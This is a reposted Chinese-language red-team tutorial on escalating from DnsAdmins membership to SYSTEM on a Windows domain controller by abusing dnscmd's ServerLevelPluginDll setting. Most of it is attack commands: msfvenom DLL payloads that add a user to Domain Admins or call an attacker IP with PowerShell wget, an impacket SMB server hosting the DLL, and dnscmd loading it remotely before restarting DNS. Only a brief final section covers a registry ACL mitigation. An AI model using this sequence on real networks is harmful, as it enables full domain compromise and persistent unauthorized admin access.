域渗透 | 利用DnsAdmins提权到SYSTEM
2021-04-12 11:20:00 Author: mp.weixin.qq.com(查看原文) 阅读量:81 收藏

文章来源|MS08067 公众号读者投稿

本文作者:VastSky(Ms08067实验室读者)

一、前言

  在域渗透中,我们获得DNS管理员(DNSAdmin)权限后,可以使用dnscmd.exe命令对域进行配置管理。我们查阅文档发现:ServerLevelPluginDll服务器没有对此操作中指定的DLL路径进行任何验证。接下来的文章中,我们将详细分析该攻击的实现。这个功能将在某些情况下可以在域控制器上以SYSTEM身份运行任意代码,无需成为管理员。这个操作已经得到微软的确认,这不是一个安全漏洞。但这仍是一个非常实用的技巧,可以用作红队的AD特权提升当中。

二、利用条件

Dnscmd:用来管理DNS服务器的命令,可以远程使用。

默认情况下,这些组

DnsAdmins, Domain Admins, Enterprise Admins, Administrators 和 ENTERPRISEDOMAIN CONTROLLERS

是否有这些权限。

默认会安装的系统

Windows Server 2003Windows Server 2008Windows Server 2003 R2Windows Server 2003 with SP1Windows Server 2008 R2Windows Server 2012Windows Server 2016(本文中使用)

三、详细的利用方法

1、查看当前拥有用户的组

C:\Users\ryan\Documents>whoami/groups

通过观察发现ryan用户属于Contractors组,而Contractors是DNSadmin的组。DNSadmin就是Contractors的别名

也可以查看DnsAdmins组内的用户

net group "DomainAdmins" /domain

也可以通过PowerView脚本查看DnsAdmins组内的用户

import-module .\PowerView.ps1Get-NetGroupMember -GroupName"DNSAdmins"

2、dnscmd.exe和dnscmd.exe.mui

    默认系统上上system32目录中是有这两个文件的。如果遇到没有,无法执行可以自行上传。

    将谷歌搜索出来dnscmd.exe和dnscmd.exe.mui,下载到目标系统的时候,发现无法执行。需要从本机上拷贝执行。

(1)将dnscmd.exe保存在C:\Windows\System32下

可用下载地址:

https://github.com/3gstudent/test/blob/master/dnscmd.exe

(2)dnscmd.exe.mui保存在

C:\Windows\System32\en-US

可用下载地址:

https://github.com/3gstudent/test/blob/master/dnscmd.exe.mui

注:dnscmd.exednscmd.exe.mui是在我的测试系统(WindowsServer 2008 R2x64)中获得的

通过搜索服务器的dnscmd.exe和dnscmd.exe.mui

命令:for /r c:\ %i in (dnscmd.*) do @echo %i

需要将dnscmd.exe和dnscmd.exe.mui文件拷贝到当前目录下,并且在同一目录下新建en-US文件夹将dnscmd.exe.mui放置到en-US目录中方可执行

copyc:\Windows\WinSxS\amd64_microsoft-windows-dns-server-dnscmd_31bf3856ad364e35_10.0.14393.3179_none_5cf94ce9a8afe302\dnscmd.exe.\mkdir en-UScopy c:\Windows\WinSxS\amd64_microsoft-windows-d..er-dnscmd.resources_31bf3856ad364e35_10.0.14393.0_en-us_5f8e3db3d7a85561\dnscmd.exe.mui.\

确保dnscmd.exe可以执行

3、生成攻击dll和验证dll

当目标机器上边有杀毒,无法讲msfvenom生成的dll文件上传的目标机器。于是使用smb的方法,远程包含路径执行\\10.10.14.193\share\addDa.dll

msfvenom -pwindows/x64/exec cmd='net group "Domain Admins" melanie /add /domain'-f dll > ./addDA.dllmsfvenom -pwindows/exec cmd='powershell wget -uri http://10.10.14.193' -f dll >./wget.dll

4、通过imparket启动smb服务器

root@kali:~#smbserver.py share ./

5、执行攻击命令

dnscmd.exeResolute.megabank.local /config /serverlevelplugindll\\10.10.14.193\share\addDa.dllsc stop dnssd start dns

对于DNS服务器来说,此时会新建一个注册位置

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDllREG_SZ\\10.10.14.193\share\addDa.dll

6、查看被添加用户组

net user melanie/domain

已经成功将melanie用户添加到管理员组

四、注册表事项

KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\

利用dnscmd在DNS服务器上实现远程加载Dll时,会以System权限修改注册表,如果修改注册表

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\的ACL(AccessControl List)

删除System用户的Set Value权限,能够阻止这个方法的利用

五、参考资料

https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83

扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

 

 

目前40000+人已关注加入我们

文章来源: http://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg==&mid=2247493094&idx=1&sn=633b72e3bd5e5d4afa9b029a49d7b898&chksm=fc3c5ce7cb4bd5f1da6d44291f093fb1b9e427540dcf3b289f1ae6c55cd779c3e84584d31f99#rd
如有侵权请联系:admin#unsafe.sh